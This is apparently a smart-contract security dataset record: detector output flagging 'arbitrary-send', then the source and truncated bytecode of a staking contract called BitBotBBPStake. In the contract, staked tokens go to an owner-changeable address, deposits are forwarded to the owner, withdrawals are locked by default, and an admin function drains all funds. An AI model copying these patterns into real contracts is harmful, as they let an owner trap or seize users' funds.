16600942604051808381526020018281526020019250505060405180910390a2505050565b60176020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154908060030154905084565b602360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615613f62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6034543414613fd9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015614092576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b61409a6157da565b600060246000601154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600760008154809291906001019190505550604051806060016040528060011515815260200160075481526020016000815250915081602360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360246000600754815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6034549081150290604051600060405180830381858888f1935050505090508015614334576001602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106142c55760016011600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600642604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600642604051808381526020018281526020019250505060405180910390a2505050565b60035481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16614458576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161561451b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6031543414614592576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154101561464b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b6146536157da565b6000601e6000600e54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600460008154809291906001019190505550604051806060016040528060011515815260200160045481526020016000815250915081601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033601e6000600454815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6031549081150290604051600060405180830381858888f19350505050905080156148ed576001601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541061487e576001600e600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600342604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600342604051808381526020018281526020019250505060405180910390a2505050565b60045481565b60226020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602c6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16614ab0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615614b73576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6038543414614bea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015614ca3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b614cab6157da565b6000602c6000601554815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600b600081548092919060010191905055506040518060600160405280600115158152602001600b5481526020016000815250915081602b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033602c6000600b54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6038549081150290604051600060405180830381858888f1935050505090508015614f45576001602b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410614ed65760016015600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600a42604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600a42604051808381526020018281526020019250505060405180910390a2505050565b60075481565b602b6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff166150a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615615163576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b60335434146151da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015615293576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b61529b6157da565b600060226000601054815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600660008154809291906001019190505550604051806060016040528060011515815260200160065481526020016000815250915081602160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360226000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6033549081150290604051600060405180830381858888f1935050505090508015615535576001602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106154c65760016010600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600542604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600542604051808381526020018281526020019250505060405180910390a2505050565b60115481565b600060186000601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008090506000809050600485111561562e576016549050615645565b602d60008681526020019081526020016000205490505b8273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505091508115615763573373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fce7dc747411ac40191c5335943fcc79d8c2d8c01ca5ae83d9fed160409fa61208742604051808381526020018281526020019250505060405180910390a360648510801561574257506001601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410155b15615759576157546001860184615597565b615762565b61576161577a565b5b5b81615773576157728584615597565b5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6157bd613151565b9081150290604051600060405180830381858888f1935050505050565b604051806060016040528060001515815260200160008152602001600081525090565b6040518060800160405280600015158152602001600081526020016000815260200160008152509056fea2646970667358221220edb920cf2b7db8b97872e22de2abe7741a537f66c293a69c6fbef9d6f483b36064736f6c63430006040033
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,686
0x5d925aa69f66b6908e69b622a9923539d38cc833
/** *Submitted for verification at Etherscan.io on 2021-02-19 */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.7.5; // ---------------------------------------------------------------------------- // SafeMath library // ---------------------------------------------------------------------------- library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint a, uint m) internal pure returns (uint r) { return (a + m - 1) / m * m; } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { require(_newOwner != address(0), "ERC20: sending to the zero address"); owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address tokenOwner) external view returns (uint256 balance); function allowance(address tokenOwner, address spender) external view returns (uint256 remaining); function transfer(address to, uint256 tokens) external returns (bool success); function approve(address spender, uint256 tokens) external returns (bool success); function transferFrom(address from, address to, uint256 tokens) external returns (bool success); function burnTokens(uint256 _amount) external; function calculateFees( address sender, address recipient, uint256 amount ) external view returns (uint256, uint256); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract BitBotBBPStake is Owned { using SafeMath for uint256; address public BBP = 0xbb0A009ba1EB20c5062C790432f080F6597662AF; address public lpLockAddress = 0x740Fda023D5aa68cB392DE148C88966BD91Ec53e; uint256 public totalStakes = 0; uint256 public totalDividends = 0; uint256 private scaledRemainder = 0; uint256 private scaling = uint256(10) ** 12; uint public round = 1; uint256 public ethMade=0; //total payout given /* Fees breaker, to protect withdraws if anything ever goes wrong */ bool public breaker = true; // withdraw can be unlock,, default locked mapping(address => uint) public farmTime; // period that your sake it locked to keep it for farming //uint public lock = 0; // farm lock in blocks ~ 0 days for 15s/block //address public admin; struct USER{ uint256 stakedTokens; uint256 lastDividends; uint256 fromTotalDividend; uint round; uint256 remainder; } address[] internal stakeholders; mapping(address => USER) stakers; mapping (uint => uint256) public payouts; // keeps record of each payout event STAKED(address staker, uint256 tokens); event EARNED(address staker, uint256 tokens); event UNSTAKED(address staker, uint256 tokens); event PAYOUT(uint256 round, uint256 tokens, address sender); event CLAIMEDREWARD(address staker, uint256 reward); function setBreaker(bool _breaker) external onlyOwner { breaker = _breaker; } function isStakeholder(address _address) public view returns(bool) { for (uint256 s = 0; s < stakeholders.length; s += 1){ if (_address == stakeholders[s]) return (true); } return (false); } function addStakeholder(address _stakeholder) public { (bool _isStakeholder) = isStakeholder(_stakeholder); if(!_isStakeholder) stakeholders.push(_stakeholder); } function setLpLockAddress(address _account) public onlyOwner { require(_account != address(0), "ERC20: Setting zero address"); lpLockAddress = _account; } // ------------------------------------------------------------------------ // Token holders can stake their tokens using this function // @param tokens number of tokens to stake // ------------------------------------------------------------------------ function STAKE(uint256 tokens) external { require(IERC20(BBP).transferFrom(msg.sender, address(lpLockAddress), tokens), "Tokens cannot be transferred from user for locking"); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = tokens.add(stakers[msg.sender].stakedTokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; (bool _isStakeholder) = isStakeholder(msg.sender); if(!_isStakeholder) farmTime[msg.sender] = block.timestamp; totalStakes = totalStakes.add(tokens); addStakeholder(msg.sender); emit STAKED(msg.sender, tokens); } // ------------------------------------------------------------------------ // Owners can send the funds to be distributed to stakers using this function // @param tokens number of tokens to distribute // ------------------------------------------------------------------------ function ADDFUNDS() external payable { uint256 _amount = msg.value; ethMade = ethMade.add(_amount); //_addPayout(_amount); owner.transfer(_amount); } // ------------------------------------------------------------------------ // Private function to register payouts // ------------------------------------------------------------------------ function _addPayout(uint256 tokens) private{ // divide the funds among the currently staked tokens // scale the deposit and add the previous remainder uint256 available = (tokens.mul(scaling)).add(scaledRemainder); uint256 dividendPerToken = available.div(totalStakes); scaledRemainder = available.mod(totalStakes); totalDividends = totalDividends.add(dividendPerToken); payouts[round] = payouts[round - 1].add(dividendPerToken); emit PAYOUT(round, tokens, msg.sender); round++; } // ------------------------------------------------------------------------ // Stakers can claim their pending rewards using this function // ------------------------------------------------------------------------ function CLAIMREWARD() public { require(breaker == false, "Admin Restricted WITHDRAW"); if(totalDividends >= stakers[msg.sender].fromTotalDividend){ uint256 owing = pendingReward(msg.sender); owing = owing.add(stakers[msg.sender].remainder); stakers[msg.sender].remainder = 0; msg.sender.transfer(owing); emit CLAIMEDREWARD(msg.sender, owing); stakers[msg.sender].lastDividends = owing; // unscaled stakers[msg.sender].round = round; // update the round stakers[msg.sender].fromTotalDividend = totalDividends; // scaled } } // ------------------------------------------------------------------------ // Get the pending rewards of the staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function pendingReward(address staker) private returns (uint256) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); stakers[staker].remainder += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return amount; } function getPendingReward(address staker) public view returns(uint256 _pendingReward) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); amount += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return (amount.add(stakers[staker].remainder)); } // ------------------------------------------------------------------------ // Stakers can un stake the staked tokens using this function // @param tokens the number of tokens to withdraw // ------------------------------------------------------------------------ function WITHDRAW(uint256 tokens) external { require(breaker == false, "Admin Restricted WITHDRAW"); require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw"); totalStakes = totalStakes.sub(tokens); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; require(IERC20(BBP).transfer(msg.sender, tokens), "Error in un-staking tokens"); emit UNSTAKED(msg.sender, tokens); } // ------------------------------------------------------------------------ // Private function to calculate 1% percentage // ------------------------------------------------------------------------ function onePercent(uint256 _tokens) private pure returns (uint256){ uint256 roundValue = _tokens.ceil(100); uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2)); return onePercentofTokens; } // ------------------------------------------------------------------------ // Get the number of tokens staked by a staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function yourStakedBBP(address staker) public view returns(uint256 stakedBBP){ require(staker != address(0), "ERC20: sending to the zero address"); return stakers[staker].stakedTokens; } // ------------------------------------------------------------------------ // Get the BBP balance of the token holder // @param user the address of the token holder // ------------------------------------------------------------------------ function yourBBPBalance(address user) external view returns(uint256 BBPBalance){ require(user != address(0), "ERC20: sending to the zero address"); return IERC20(BBP).balanceOf(user); } function retByAdmin() public onlyOwner { require(IERC20(BBP).transfer(owner, IERC20(BBP).balanceOf(address(this))), "Error in retrieving bbp tokens"); owner.transfer(address(this).balance); } }
0x6080604052600436106101405760003560e01c806398d62404116100b6578063ca84d5911161006f578063ca84d591146103a7578063cc16ab6e146103d1578063e5c42fd1146103d9578063ef037b901461040c578063f2fde38b1461043f578063f3ec37c21461047257610140565b806398d62404146102ed578063997664d714610302578063bf9befb114610317578063c3f344a81461032c578063c5a7525a1461035f578063c5cc0f161461039257610140565b80632c75bcda116101085780632c75bcda146102075780634baf782e146102315780634df9d6ba146102465780635c0aeb0e1461027957806375952497146102a55780638da5cb5b146102d857610140565b80630f41e0d214610145578063146ca5311461016e5780631c2338791461019557806329272a63146101ac57806329652e86146101dd575b600080fd5b34801561015157600080fd5b5061015a6104a5565b604080519115158252519081900360200190f35b34801561017a57600080fd5b506101836104ae565b60408051918252519081900360200190f35b3480156101a157600080fd5b506101aa6104b4565b005b3480156101b857600080fd5b506101c1610658565b604080516001600160a01b039092168252519081900360200190f35b3480156101e957600080fd5b506101836004803603602081101561020057600080fd5b5035610667565b34801561021357600080fd5b506101aa6004803603602081101561022a57600080fd5b5035610679565b34801561023d57600080fd5b506101aa6108b9565b34801561025257600080fd5b506101836004803603602081101561026957600080fd5b50356001600160a01b03166109fe565b34801561028557600080fd5b506101aa6004803603602081101561029c57600080fd5b50351515610b23565b3480156102b157600080fd5b50610183600480360360208110156102c857600080fd5b50356001600160a01b0316610b4d565b3480156102e457600080fd5b506101c1610bb0565b3480156102f957600080fd5b506101c1610bbf565b34801561030e57600080fd5b50610183610bce565b34801561032357600080fd5b50610183610bd4565b34801561033857600080fd5b506101836004803603602081101561034f57600080fd5b50356001600160a01b0316610bda565b34801561036b57600080fd5b506101836004803603602081101561038257600080fd5b50356001600160a01b0316610bec565b34801561039e57600080fd5b50610183610cb2565b3480156103b357600080fd5b506101aa600480360360208110156103ca57600080fd5b5035610cb8565b6101aa610e5a565b3480156103e557600080fd5b506101aa600480360360208110156103fc57600080fd5b50356001600160a01b0316610ea9565b34801561041857600080fd5b5061015a6004803603602081101561042f57600080fd5b50356001600160a01b0316610f0c565b34801561044b57600080fd5b506101aa6004803603602081101561046257600080fd5b50356001600160a01b0316610f61565b34801561047e57600080fd5b506101aa6004803603602081101561049557600080fd5b50356001600160a01b0316611008565b60095460ff1681565b60075481565b6000546001600160a01b031633146104cb57600080fd5b600154600054604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b15801561052357600080fd5b505afa158015610537573d6000803e3d6000fd5b505050506040513d602081101561054d57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561059e57600080fd5b505af11580156105b2573d6000803e3d6000fd5b505050506040513d60208110156105c857600080fd5b505161061b576040805162461bcd60e51b815260206004820152601e60248201527f4572726f7220696e2072657472696576696e672062627020746f6b656e730000604482015290519081900360640190fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610655573d6000803e3d6000fd5b50565b6001546001600160a01b031681565b600d6020526000908152604090205481565b60095460ff16156106cd576040805162461bcd60e51b815260206004820152601960248201527841646d696e205265737472696374656420574954484452415760381b604482015290519081900360640190fd5b336000908152600c602052604090205481118015906106ec5750600081115b61073d576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b60035461074a908261109c565b6003556000610758336110e7565b336000908152600c60205260409020600481018054830190555490915061077f908361109c565b336000818152600c60209081526040808320948555600180860187905560048054600288015560075460039097019690965554815163a9059cbb60e01b81529586019490945260248501879052516001600160a01b039093169363a9059cbb9360448083019491928390030190829087803b1580156107fd57600080fd5b505af1158015610811573d6000803e3d6000fd5b505050506040513d602081101561082757600080fd5b505161087a576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b604080513381526020810184905281517f4c48d8823de8aa74e6ea4bed3a0c422e95a3d1e10f8f3e47dc7e2fe779be9514929181900390910190a15050565b60095460ff161561090d576040805162461bcd60e51b815260206004820152601960248201527841646d696e205265737472696374656420574954484452415760381b604482015290519081900360640190fd5b336000908152600c6020526040902060020154600454106109fc576000610933336110e7565b336000908152600c60205260409020600401549091506109549082906111f5565b336000818152600c602052604080822060040182905551929350909183156108fc0291849190818181858888f19350505050158015610997573d6000803e3d6000fd5b50604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600c60205260409020600181019190915560075460038201556004546002909101555b565b60006001600160a01b038216610a455760405162461bcd60e51b81526004018080602001828103825260228152602001806114196022913960400191505060405180910390fd5b6001600160a01b0382166000908152600c602090815260408083206003810154600654915460001982018652600d90945291842054600454929493610a9e93610a9892610a92919061109c565b9061124f565b906112a8565b6006546001600160a01b0386166000908152600c602090815260408083205460001988018452600d909252909120546004549394509192610ae392610a92919061109c565b81610aea57fe5b6001600160a01b0386166000908152600c60205260409020600401549190069190910190610b199082906111f5565b925050505b919050565b6000546001600160a01b03163314610b3a57600080fd5b6009805460ff1916911515919091179055565b60006001600160a01b038216610b945760405162461bcd60e51b81526004018080602001828103825260228152602001806114196022913960400191505060405180910390fd5b506001600160a01b03166000908152600c602052604090205490565b6000546001600160a01b031681565b6002546001600160a01b031681565b60045481565b60035481565b600a6020526000908152604090205481565b60006001600160a01b038216610c335760405162461bcd60e51b81526004018080602001828103825260228152602001806114196022913960400191505060405180910390fd5b600154604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b158015610c8057600080fd5b505afa158015610c94573d6000803e3d6000fd5b505050506040513d6020811015610caa57600080fd5b505192915050565b60085481565b600154600254604080516323b872dd60e01b81523360048201526001600160a01b03928316602482015260448101859052905191909216916323b872dd9160648083019260209291908290030181600087803b158015610d1757600080fd5b505af1158015610d2b573d6000803e3d6000fd5b505050506040513d6020811015610d4157600080fd5b5051610d7e5760405162461bcd60e51b81526004018080602001828103825260328152602001806113e76032913960400191505060405180910390fd5b6000610d89336110e7565b336000908152600c602052604090206004810180548301905554909150610db19083906111f5565b336000818152600c60205260408120928355600183018490556004546002840155600754600390930192909255610de790610f0c565b905080610e0157336000908152600a602052604090204290555b600354610e0e90846111f5565b600355610e1a33610ea9565b604080513381526020810185905281517f4031c63bb53dc5dfada7ef8d75bef8c44d0283658c1585fc74107ed5b75e97c8929181900390910190a1505050565b6008543490610e6990826111f5565b600855600080546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610ea5573d6000803e3d6000fd5b5050565b6000610eb482610f0c565b905080610ea557600b80546001810182556000919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0384166001600160a01b03199091161790555050565b6000805b600b54811015610f5857600b8181548110610f2757fe5b6000918252602090912001546001600160a01b0384811691161415610f50576001915050610b1e565b600101610f10565b50600092915050565b6000546001600160a01b03163314610f7857600080fd5b6001600160a01b038116610fbd5760405162461bcd60e51b81526004018080602001828103825260228152602001806114196022913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b0316331461101f57600080fd5b6001600160a01b03811661107a576040805162461bcd60e51b815260206004820152601c60248201527f45524332303a202053657474696e67207a65726f206164647265737300000000604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60006110de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ea565b90505b92915050565b60006001600160a01b03821661112e5760405162461bcd60e51b815260040180806020018281038252602281526020018061141960229139604001